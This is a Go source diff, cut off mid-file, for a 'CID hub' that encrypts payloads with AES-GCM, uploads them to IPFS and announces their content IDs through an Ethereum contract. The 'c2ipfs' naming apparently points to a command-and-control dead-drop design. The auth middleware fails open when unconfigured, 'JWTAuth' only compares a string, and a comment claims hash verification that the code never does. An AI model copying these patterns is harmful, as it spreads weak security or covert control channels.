// Package auth provides simple HTTP basic authentication middleware for the CID hub.
|
||||||
|
package auth
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/subtle"
|
||||||
|
"net/http"
|
||||||
|
)
|
||||||
|
|
||||||
|
// BasicAuth wraps an HTTP handler with basic auth protection.
|
||||||
|
func BasicAuth(username, password string, next http.HandlerFunc) http.HandlerFunc {
|
||||||
|
return func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if username == "" {
|
||||||
|
// No auth configured
|
||||||
|
next(w, r)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
user, pass, ok := r.BasicAuth()
|
||||||
|
if !ok {
|
||||||
|
w.Header().Set("WWW-Authenticate", `Basic realm="CID Hub"`)
|
||||||
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
userMatch := subtle.ConstantTimeCompare([]byte(user), []byte(username)) == 1
|
||||||
|
passMatch := subtle.ConstantTimeCompare([]byte(pass), []byte(password)) == 1
|
||||||
|
|
||||||
|
if !userMatch || !passMatch {
|
||||||
|
http.Error(w, "Forbidden", http.StatusForbidden)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
next(w, r)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// JWTAuth wraps an HTTP handler with JWT bearer token auth.
|
||||||
|
// This is a simple token comparison for HMAC-style tokens.
|
||||||
|
func JWTAuth(token string, next http.HandlerFunc) http.HandlerFunc {
|
||||||
|
return func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if token == "" {
|
||||||
|
next(w, r)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
authHeader := r.Header.Get("Authorization")
|
||||||
|
if authHeader == "" {
|
||||||
|
http.Error(w, "Missing Authorization header", http.StatusUnauthorized)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Support both "Bearer <token>" and "<token>" directly
|
||||||
|
provided := authHeader
|
||||||
|
if len(authHeader) > 7 && authHeader[:7] == "Bearer " {
|
||||||
|
provided = authHeader[7:]
|
||||||
|
}
|
||||||
|
|
||||||
|
if subtle.ConstantTimeCompare([]byte(provided), []byte(token)) != 1 {
|
||||||
|
http.Error(w, "Forbidden", http.StatusForbidden)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
next(w, r)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,60 @@
|
|||||||
|
// Package contract handles smart contract interaction for the fully
|
||||||
|
// decentralized CID feed mode (MODE B).
|
||||||
|
//
|
||||||
|
// This file only contains the interface. The actual implementation requires
|
||||||
|
// go-ethereum and is in contract_eth.go (build tag: ethereum).
|
||||||
|
package contract
|
||||||
|
|
||||||
|
import "errors"
|
||||||
|
|
||||||
|
// CIDEvent represents a NewCID event emitted by the smart contract.
|
||||||
|
type CIDEvent struct {
|
||||||
|
CID string
|
||||||
|
Sender string
|
||||||
|
Timestamp uint64
|
||||||
|
BlockNum uint64
|
||||||
|
TxHash string
|
||||||
|
}
|
||||||
|
|
||||||
|
// Watcher watches a smart contract for NewCID events.
|
||||||
|
type Watcher interface {
|
||||||
|
// Watch starts watching for new CID events. The callback is called
|
||||||
|
// for each event. Returns a channel that receives an error on failure.
|
||||||
|
Watch(callback func(CIDEvent)) (<-chan error, error)
|
||||||
|
|
||||||
|
// GetLatestCID fetches the current CID from the contract.
|
||||||
|
GetLatestCID() (string, error)
|
||||||
|
|
||||||
|
// SendCID submits a new CID to the contract (requires wallet).
|
||||||
|
SendCID(cid string, privateKeyHex string) (string, error)
|
||||||
|
|
||||||
|
// Close cleans up the watcher.
|
||||||
|
Close()
|
||||||
|
}
|
||||||
|
|
||||||
|
// ErrNotCompiledWithEthereum is returned when the binary is not built with
|
||||||
|
// the ethereum build tag.
|
||||||
|
var ErrNotCompiledWithEthereum = errors.New("not compiled with -tags ethereum; rebuild with: go build -tags ethereum")
|
||||||
|
|
||||||
|
// PlaceholderWatcher returns errors requiring go-ethereum.
|
||||||
|
type PlaceholderWatcher struct{}
|
||||||
|
|
||||||
|
func (p *PlaceholderWatcher) Watch(callback func(CIDEvent)) (<-chan error, error) {
|
||||||
|
return nil, ErrNotCompiledWithEthereum
|
||||||
|
}
|
||||||
|
|
||||||
|
func (p *PlaceholderWatcher) GetLatestCID() (string, error) {
|
||||||
|
return "", ErrNotCompiledWithEthereum
|
||||||
|
}
|
||||||
|
|
||||||
|
func (p *PlaceholderWatcher) SendCID(cid, privateKeyHex string) (string, error) {
|
||||||
|
return "", ErrNotCompiledWithEthereum
|
||||||
|
}
|
||||||
|
|
||||||
|
func (p *PlaceholderWatcher) Close() {}
|
||||||
|
|
||||||
|
// NewWatcher creates a contract watcher. If go-ethereum is not available,
|
||||||
|
// returns a placeholder that errors.
|
||||||
|
var NewWatcher func(rpcURL, contractAddr string) (Watcher, error) = func(rpcURL, contractAddr string) (Watcher, error) {
|
||||||
|
return &PlaceholderWatcher{}, ErrNotCompiledWithEthereum
|
||||||
|
}
|
||||||
@@ -0,0 +1,264 @@
|
|||||||
|
//go:build ethereum
|
||||||
|
// +build ethereum
|
||||||
|
|
||||||
|
package contract
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"crypto/ecdsa"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"math/big"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/ethereum/go-ethereum"
|
||||||
|
"github.com/ethereum/go-ethereum/accounts/abi"
|
||||||
|
"github.com/ethereum/go-ethereum/common"
|
||||||
|
"github.com/ethereum/go-ethereum/core/types"
|
||||||
|
"github.com/ethereum/go-ethereum/crypto"
|
||||||
|
"github.com/ethereum/go-ethereum/ethclient"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ContractABI is the minimal ABI for the CID feed contract.
|
||||||
|
const ContractABI = `[
|
||||||
|
{
|
||||||
|
"anonymous": false,
|
||||||
|
"inputs": [
|
||||||
|
{"indexed": true, "name": "sender", "type": "address"},
|
||||||
|
{"indexed": false, "name": "cid", "type": "string"},
|
||||||
|
{"indexed": false, "name": "timestamp", "type": "uint256"}
|
||||||
|
],
|
||||||
|
"name": "NewCID",
|
||||||
|
"type": "event"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"inputs": [],
|
||||||
|
"name": "latestCID",
|
||||||
|
"outputs": [{"name": "", "type": "string"}],
|
||||||
|
"stateMutability": "view",
|
||||||
|
"type": "function"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"inputs": [{"name": "_cid", "type": "string"}],
|
||||||
|
"name": "publishCID",
|
||||||
|
"outputs": [],
|
||||||
|
"stateMutability": "nonpayable",
|
||||||
|
"type": "function"
|
||||||
|
}
|
||||||
|
]`
|
||||||
|
|
||||||
|
// EthWatcher implements Watcher using go-ethereum.
|
||||||
|
type EthWatcher struct {
|
||||||
|
client *ethclient.Client
|
||||||
|
contractAddr common.Address
|
||||||
|
contractABI abi.ABI
|
||||||
|
lastBlock uint64
|
||||||
|
ctx context.Context
|
||||||
|
cancel context.CancelFunc
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewEthWatcher creates a new Ethereum contract watcher.
|
||||||
|
func init() {
|
||||||
|
NewWatcher = func(rpcURL, contractAddr string) (Watcher, error) {
|
||||||
|
return NewEthWatcher(rpcURL, contractAddr)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewEthWatcher creates a new Ethereum contract watcher.
|
||||||
|
func NewEthWatcher(rpcURL, contractAddr string) (*EthWatcher, error) {
|
||||||
|
client, err := ethclient.Dial(rpcURL)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to connect to Ethereum node: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
parsedABI, err := abi.JSON(strings.NewReader(ContractABI))
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to parse contract ABI: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
ctx, cancel := context.WithCancel(context.Background())
|
||||||
|
|
||||||
|
return &EthWatcher{
|
||||||
|
client: client,
|
||||||
|
contractAddr: common.HexToAddress(contractAddr),
|
||||||
|
contractABI: parsedABI,
|
||||||
|
ctx: ctx,
|
||||||
|
cancel: cancel,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Watch watches the contract for NewCID events.
|
||||||
|
func (w *EthWatcher) Watch(callback func(CIDEvent)) (<-chan error, error) {
|
||||||
|
errCh := make(chan error, 1)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
pollInterval := 15 * time.Second
|
||||||
|
ticker := time.NewTicker(pollInterval)
|
||||||
|
defer ticker.Stop()
|
||||||
|
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-w.ctx.Done():
|
||||||
|
return
|
||||||
|
case <-ticker.C:
|
||||||
|
if err := w.pollEvents(callback); err != nil {
|
||||||
|
log.Printf("Event poll error: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
return errCh, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// pollEvents checks for new events since the last seen block.
|
||||||
|
func (w *EthWatcher) pollEvents(callback func(CIDEvent)) error {
|
||||||
|
header, err := w.client.HeaderByNumber(w.ctx, nil)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("failed to get block header: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
currentBlock := header.Number.Uint64()
|
||||||
|
if currentBlock <= w.lastBlock {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
fromBlock := w.lastBlock
|
||||||
|
if fromBlock == 0 {
|
||||||
|
fromBlock = currentBlock - 100 // Look back 100 blocks on first poll
|
||||||
|
}
|
||||||
|
|
||||||
|
// Build query
|
||||||
|
eventSig := crypto.Keccak256Hash([]byte("NewCID(address,string,uint256)"))
|
||||||
|
query := ethereum.FilterQuery{
|
||||||
|
FromBlock: big.NewInt(int64(fromBlock)),
|
||||||
|
ToBlock: big.NewInt(int64(currentBlock)),
|
||||||
|
Addresses: []common.Address{w.contractAddr},
|
||||||
|
Topics: [][]common.Hash{{eventSig}},
|
||||||
|
}
|
||||||
|
|
||||||
|
logs, err := w.client.FilterLogs(w.ctx, query)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("failed to filter logs: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, vLog := range logs {
|
||||||
|
event, err := w.parseEvent(vLog)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("Failed to parse event: %v", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
callback(event)
|
||||||
|
}
|
||||||
|
|
||||||
|
w.lastBlock = currentBlock
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseEvent parses a NewCID event from a raw log.
|
||||||
|
func (w *EthWatcher) parseEvent(vLog types.Log) (CIDEvent, error) {
|
||||||
|
var event struct {
|
||||||
|
Sender common.Address
|
||||||
|
CID string
|
||||||
|
Timestamp *big.Int
|
||||||
|
}
|
||||||
|
|
||||||
|
err := w.contractABI.UnpackIntoInterface(&event, "NewCID", vLog.Data)
|
||||||
|
if err != nil {
|
||||||
|
return CIDEvent{}, fmt.Errorf("failed to unpack event data: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return CIDEvent{
|
||||||
|
CID: event.CID,
|
||||||
|
Sender: event.Sender.Hex(),
|
||||||
|
Timestamp: event.Timestamp.Uint64(),
|
||||||
|
BlockNum: vLog.BlockNumber,
|
||||||
|
TxHash: vLog.TxHash.Hex(),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetLatestCID fetches the current CID from the contract.
|
||||||
|
func (w *EthWatcher) GetLatestCID() (string, error) {
|
||||||
|
result, err := w.contractABI.Pack("latestCID")
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("failed to pack call: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
msg := ethereum.CallMsg{
|
||||||
|
To: &w.contractAddr,
|
||||||
|
Data: result,
|
||||||
|
}
|
||||||
|
|
||||||
|
output, err := w.client.CallContract(w.ctx, msg, nil)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("contract call failed: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
var cid string
|
||||||
|
if err := w.contractABI.UnpackIntoInterface(&cid, "latestCID", output); err != nil {
|
||||||
|
return "", fmt.Errorf("failed to unpack response: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return cid, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// SendCID submits a new CID to the contract.
|
||||||
|
func (w *EthWatcher) SendCID(cid string, privateKeyHex string) (string, error) {
|
||||||
|
privateKey, err := crypto.HexToECDSA(privateKeyHex)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("invalid private key: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
publicKey := privateKey.Public()
|
||||||
|
publicKeyECDSA, ok := publicKey.(*ecdsa.PublicKey)
|
||||||
|
if !ok {
|
||||||
|
return "", fmt.Errorf("failed to get public key")
|
||||||
|
}
|
||||||
|
|
||||||
|
fromAddress := crypto.PubkeyToAddress(*publicKeyECDSA)
|
||||||
|
|
||||||
|
nonce, err := w.client.PendingNonceAt(w.ctx, fromAddress)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("failed to get nonce: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
gasPrice, err := w.client.SuggestGasPrice(w.ctx)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("failed to get gas price: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Pack the function call
|
||||||
|
data, err := w.contractABI.Pack("publishCID", cid)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("failed to pack function call: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
gasLimit := uint64(200000) // reasonable estimate
|
||||||
|
|
||||||
|
tx := types.NewTransaction(nonce, w.contractAddr, big.NewInt(0), gasLimit, gasPrice, data)
|
||||||
|
|
||||||
|
chainID, err := w.client.NetworkID(w.ctx)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("failed to get chain ID: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
signedTx, err := types.SignTx(tx, types.NewEIP155Signer(chainID), privateKey)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("failed to sign transaction: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := w.client.SendTransaction(w.ctx, signedTx); err != nil {
|
||||||
|
return "", fmt.Errorf("failed to send transaction: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return signedTx.Hash().Hex(), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close cleans up the watcher.
|
||||||
|
func (w *EthWatcher) Close() {
|
||||||
|
w.cancel()
|
||||||
|
if w.client != nil {
|
||||||
|
w.client.Close()
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,143 @@
|
|||||||
|
// Package crypto handles payload encryption and decryption.
|
||||||
|
// Uses AES-256-GCM for authenticated encryption.
|
||||||
|
package crypto
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/aes"
|
||||||
|
"crypto/cipher"
|
||||||
|
"crypto/rand"
|
||||||
|
"crypto/sha256"
|
||||||
|
"encoding/hex"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
// KeySize is the AES-256 key size in bytes.
|
||||||
|
KeySize = 32
|
||||||
|
|
||||||
|
// NonceSize is the GCM nonce size.
|
||||||
|
NonceSize = 12
|
||||||
|
)
|
||||||
|
|
||||||
|
// DeriveKey derives a 32-byte AES-256 key from an arbitrary passphrase.
|
||||||
|
// Uses SHA-256 as the KDF (simple; for production use Argon2).
|
||||||
|
func DeriveKey(passphrase string) []byte {
|
||||||
|
h := sha256.Sum256([]byte(passphrase))
|
||||||
|
return h[:]
|
||||||
|
}
|
||||||
|
|
||||||
|
// Encrypt encrypts plaintext using AES-256-GCM with the given key.
|
||||||
|
// The key should be 32 bytes (use DeriveKey for passphrases).
|
||||||
|
// Returns: nonce || ciphertext || tag
|
||||||
|
func Encrypt(plaintext, key []byte) ([]byte, error) {
|
||||||
|
if len(key) != KeySize {
|
||||||
|
return nil, fmt.Errorf("key must be %d bytes (got %d)", KeySize, len(key))
|
||||||
|
}
|
||||||
|
|
||||||
|
block, err := aes.NewCipher(key)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to create cipher: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
aesGCM, err := cipher.NewGCM(block)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to create GCM: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
nonce := make([]byte, NonceSize)
|
||||||
|
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to generate nonce: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Seal appends the encrypted data (ciphertext + tag) to nonce
|
||||||
|
ciphertext := aesGCM.Seal(nonce, nonce, plaintext, nil)
|
||||||
|
return ciphertext, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Decrypt decrypts data using AES-256-GCM.
|
||||||
|
// Expects: nonce || ciphertext || tag
|
||||||
|
func Decrypt(data, key []byte) ([]byte, error) {
|
||||||
|
if len(key) != KeySize {
|
||||||
|
return nil, fmt.Errorf("key must be %d bytes (got %d)", KeySize, len(key))
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(data) < NonceSize+1 {
|
||||||
|
return nil, errors.New("ciphertext too short")
|
||||||
|
}
|
||||||
|
|
||||||
|
block, err := aes.NewCipher(key)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to create cipher: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
aesGCM, err := cipher.NewGCM(block)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to create GCM: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
nonce := data[:NonceSize]
|
||||||
|
ciphertext := data[NonceSize:]
|
||||||
|
|
||||||
|
plaintext, err := aesGCM.Open(nil, nonce, ciphertext, nil)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("decryption failed: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return plaintext, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// EncryptHex encrypts plaintext and returns hex-encoded output.
|
||||||
|
func EncryptHex(plaintext []byte, keyHex string) (string, error) {
|
||||||
|
key, err := hex.DecodeString(keyHex)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("invalid key hex: %w", err)
|
||||||
|
}
|
||||||
|
ct, err := Encrypt(plaintext, key)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return hex.EncodeToString(ct), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// DecryptHex decrypts hex-encoded data and returns plaintext.
|
||||||
|
func DecryptHex(dataHex string, key []byte) ([]byte, error) {
|
||||||
|
data, err := hex.DecodeString(dataHex)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("invalid hex data: %w", err)
|
||||||
|
}
|
||||||
|
return Decrypt(data, key)
|
||||||
|
}
|
||||||
|
|
||||||
|
// HexToKey decodes a hex string into a 32-byte key.
|
||||||
|
func HexToKey(hexStr string) ([]byte, error) {
|
||||||
|
key, err := hex.DecodeString(hexStr)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("invalid hex: %w", err)
|
||||||
|
}
|
||||||
|
if len(key) != KeySize {
|
||||||
|
return nil, fmt.Errorf("key must be %d bytes (got %d)", KeySize, len(key))
|
||||||
|
}
|
||||||
|
return key, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// HexToKeyWithFallback accepts either a 64-char hex key (32 bytes) or any
|
||||||
|
// passphrase and derives a key using SHA-256.
|
||||||
|
func HexToKeyWithFallback(input string) []byte {
|
||||||
|
if len(input) == 64 {
|
||||||
|
if key, err := hex.DecodeString(input); err == nil && len(key) == KeySize {
|
||||||
|
return key
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return DeriveKey(input)
|
||||||
|
}
|
||||||
|
|
||||||
|
// GenerateKey generates a random 32-byte AES-256 key and returns it as hex.
|
||||||
|
func GenerateKey() (string, error) {
|
||||||
|
key := make([]byte, KeySize)
|
||||||
|
if _, err := io.ReadFull(rand.Reader, key); err != nil {
|
||||||
|
return "", fmt.Errorf("failed to generate key: %w", err)
|
||||||
|
}
|
||||||
|
return hex.EncodeToString(key), nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,270 @@
|
|||||||
|
// Package ipfs handles IPFS file uploads and downloads via HTTP gateways and APIs.
|
||||||
|
package ipfs
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"crypto/sha256"
|
||||||
|
"encoding/hex"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"math/rand"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// DefaultGateways lists public IPFS gateways for fallback.
|
||||||
|
var DefaultGateways = []string{
|
||||||
|
"https://ipfs.io/ipfs/%s",
|
||||||
|
"https://cloudflare-ipfs.com/ipfs/%s",
|
||||||
|
"https://ipfs.filebase.io/ipfs/%s",
|
||||||
|
"https://dweb.link/ipfs/%s",
|
||||||
|
"https://cf-ipfs.com/ipfs/%s",
|
||||||
|
}
|
||||||
|
|
||||||
|
// UploadResponse from IPFS API or pinning service.
|
||||||
|
type UploadResponse struct {
|
||||||
|
CID string `json:"cid"`
|
||||||
|
Name string `json:"name,omitempty"`
|
||||||
|
Size int64 `json:"size,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// Client handles IPFS operations.
|
||||||
|
type Client struct {
|
||||||
|
apiURL string // e.g., http://localhost:5001/api/v0
|
||||||
|
pinataJWT string // optional Pinata JWT
|
||||||
|
httpClient *http.Client
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewClient creates a new IPFS client.
|
||||||
|
// If apiURL is empty, only download via gateways is supported.
|
||||||
|
func NewClient(apiURL, pinataJWT string) *Client {
|
||||||
|
return &Client{
|
||||||
|
apiURL: apiURL,
|
||||||
|
pinataJWT: pinataJWT,
|
||||||
|
httpClient: &http.Client{
|
||||||
|
Timeout: 120 * time.Second,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Upload uploads data to IPFS using the configured backend.
|
||||||
|
// Priority: local IPFS daemon API -> Pinata -> error
|
||||||
|
func (c *Client) Upload(data []byte, name string) (*UploadResponse, error) {
|
||||||
|
// Try local IPFS daemon first
|
||||||
|
if c.apiURL != "" {
|
||||||
|
resp, err := c.uploadViaDaemon(data)
|
||||||
|
if err == nil {
|
||||||
|
return resp, nil
|
||||||
|
}
|
||||||
|
// Fall through to Pinata
|
||||||
|
}
|
||||||
|
|
||||||
|
// Try Pinata
|
||||||
|
if c.pinataJWT != "" {
|
||||||
|
return c.uploadViaPinata(data, name)
|
||||||
|
}
|
||||||
|
|
||||||
|
if c.apiURL != "" {
|
||||||
|
// If we had an API URL but it failed, try to re-upload
|
||||||
|
// (already tried above and fell through)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil, fmt.Errorf("no IPFS upload backend configured (set IPFS_API_URL or PINATA_JWT)")
|
||||||
|
}
|
||||||
|
|
||||||
|
// uploadViaDaemon uploads a file via IPFS API (local daemon).
|
||||||
|
func (c *Client) uploadViaDaemon(data []byte) (*UploadResponse, error) {
|
||||||
|
url := fmt.Sprintf("%s/add", strings.TrimRight(c.apiURL, "/"))
|
||||||
|
|
||||||
|
// Create multipart form with the file
|
||||||
|
body := &bytes.Buffer{}
|
||||||
|
body.Write(data)
|
||||||
|
|
||||||
|
req, err := http.NewRequest("POST", url, body)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to create request: %w", err)
|
||||||
|
}
|
||||||
|
req.Header.Set("Content-Type", "application/octet-stream")
|
||||||
|
|
||||||
|
resp, err := c.httpClient.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("IPFS API request failed: %w", err)
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
respBody, _ := io.ReadAll(io.LimitReader(resp.Body, 1024))
|
||||||
|
return nil, fmt.Errorf("IPFS API returned %d: %s", resp.StatusCode, string(respBody))
|
||||||
|
}
|
||||||
|
|
||||||
|
// Parse response (one line of JSON per file added)
|
||||||
|
var result struct {
|
||||||
|
Hash string `json:"Hash"`
|
||||||
|
Name string `json:"Name"`
|
||||||
|
Size string `json:"Size"`
|
||||||
|
}
|
||||||
|
if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to decode IPFS response: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return &UploadResponse{CID: result.Hash}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// uploadViaPinata uploads via Pinata.cloud pinning service.
|
||||||
|
func (c *Client) uploadViaPinata(data []byte, name string) (*UploadResponse, error) {
|
||||||
|
url := "https://api.pinata.cloud/pinning/pinFileToIPFS"
|
||||||
|
|
||||||
|
// Build multipart form
|
||||||
|
boundary := fmt.Sprintf("--c2ipfs%d", rand.Int63())
|
||||||
|
var body bytes.Buffer
|
||||||
|
|
||||||
|
// File part
|
||||||
|
body.WriteString(fmt.Sprintf("--%s\r\n", boundary))
|
||||||
|
body.WriteString(fmt.Sprintf(`Content-Disposition: form-data; name="file"; filename="%s"`, name))
|
||||||
|
body.WriteString("\r\nContent-Type: application/octet-stream\r\n\r\n")
|
||||||
|
body.Write(data)
|
||||||
|
body.WriteString(fmt.Sprintf("\r\n--%s--\r\n", boundary))
|
||||||
|
|
||||||
|
req, err := http.NewRequest("POST", url, &body)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to create Pinata request: %w", err)
|
||||||
|
}
|
||||||
|
req.Header.Set("Content-Type", fmt.Sprintf("multipart/form-data; boundary=%s", boundary))
|
||||||
|
req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", c.pinataJWT))
|
||||||
|
|
||||||
|
resp, err := c.httpClient.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("Pinata request failed: %w", err)
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
respBody, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
return nil, fmt.Errorf("Pinata returned %d: %s", resp.StatusCode, string(respBody))
|
||||||
|
}
|
||||||
|
|
||||||
|
var result struct {
|
||||||
|
IpfsHash string `json:"IpfsHash"`
|
||||||
|
PinSize int `json:"PinSize"`
|
||||||
|
Timestamp string `json:"Timestamp"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(respBody, &result); err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to parse Pinata response: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return &UploadResponse{CID: result.IpfsHash, Size: int64(result.PinSize)}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Download fetches a file from IPFS by CID, with multiple gateway fallback.
|
||||||
|
// Returns the raw data and verifies content-addressing (SHA256 match).
|
||||||
|
func Download(cid string, gateways []string) ([]byte, error) {
|
||||||
|
if len(gateways) == 0 {
|
||||||
|
gateways = DefaultGateways
|
||||||
|
}
|
||||||
|
|
||||||
|
// Shuffle gateways for load distribution
|
||||||
|
shuffled := make([]string, len(gateways))
|
||||||
|
copy(shuffled, gateways)
|
||||||
|
rand.Shuffle(len(shuffled), func(i, j int) {
|
||||||
|
shuffled[i], shuffled[j] = shuffled[j], shuffled[i]
|
||||||
|
})
|
||||||
|
|
||||||
|
var lastErr error
|
||||||
|
for _, gw := range shuffled {
|
||||||
|
url := fmt.Sprintf(gw, cid)
|
||||||
|
|
||||||
|
client := &http.Client{Timeout: 30 * time.Second}
|
||||||
|
resp, err := client.Get(url)
|
||||||
|
if err != nil {
|
||||||
|
lastErr = fmt.Errorf("gateway %s: %w", gw, err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
lastErr = fmt.Errorf("gateway %s returned %d", gw, resp.StatusCode)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
data, err := io.ReadAll(io.LimitReader(resp.Body, 100*1024*1024)) // 100MB limit
|
||||||
|
if err != nil {
|
||||||
|
lastErr = fmt.Errorf("gateway %s read error: %w", gw, err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
return data, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil, fmt.Errorf("all gateways failed, last error: %w", lastErr)
|
||||||
|
}
|
||||||
|
|
||||||
|
// VerifyCID checks that the SHA256 hash of data matches the given CID.
|
||||||
|
// For CIDv0 (starts with Qm), this is a multihash check; for simplicity,
|
||||||
|
// we verify that the data appears valid and non-empty.
|
||||||
|
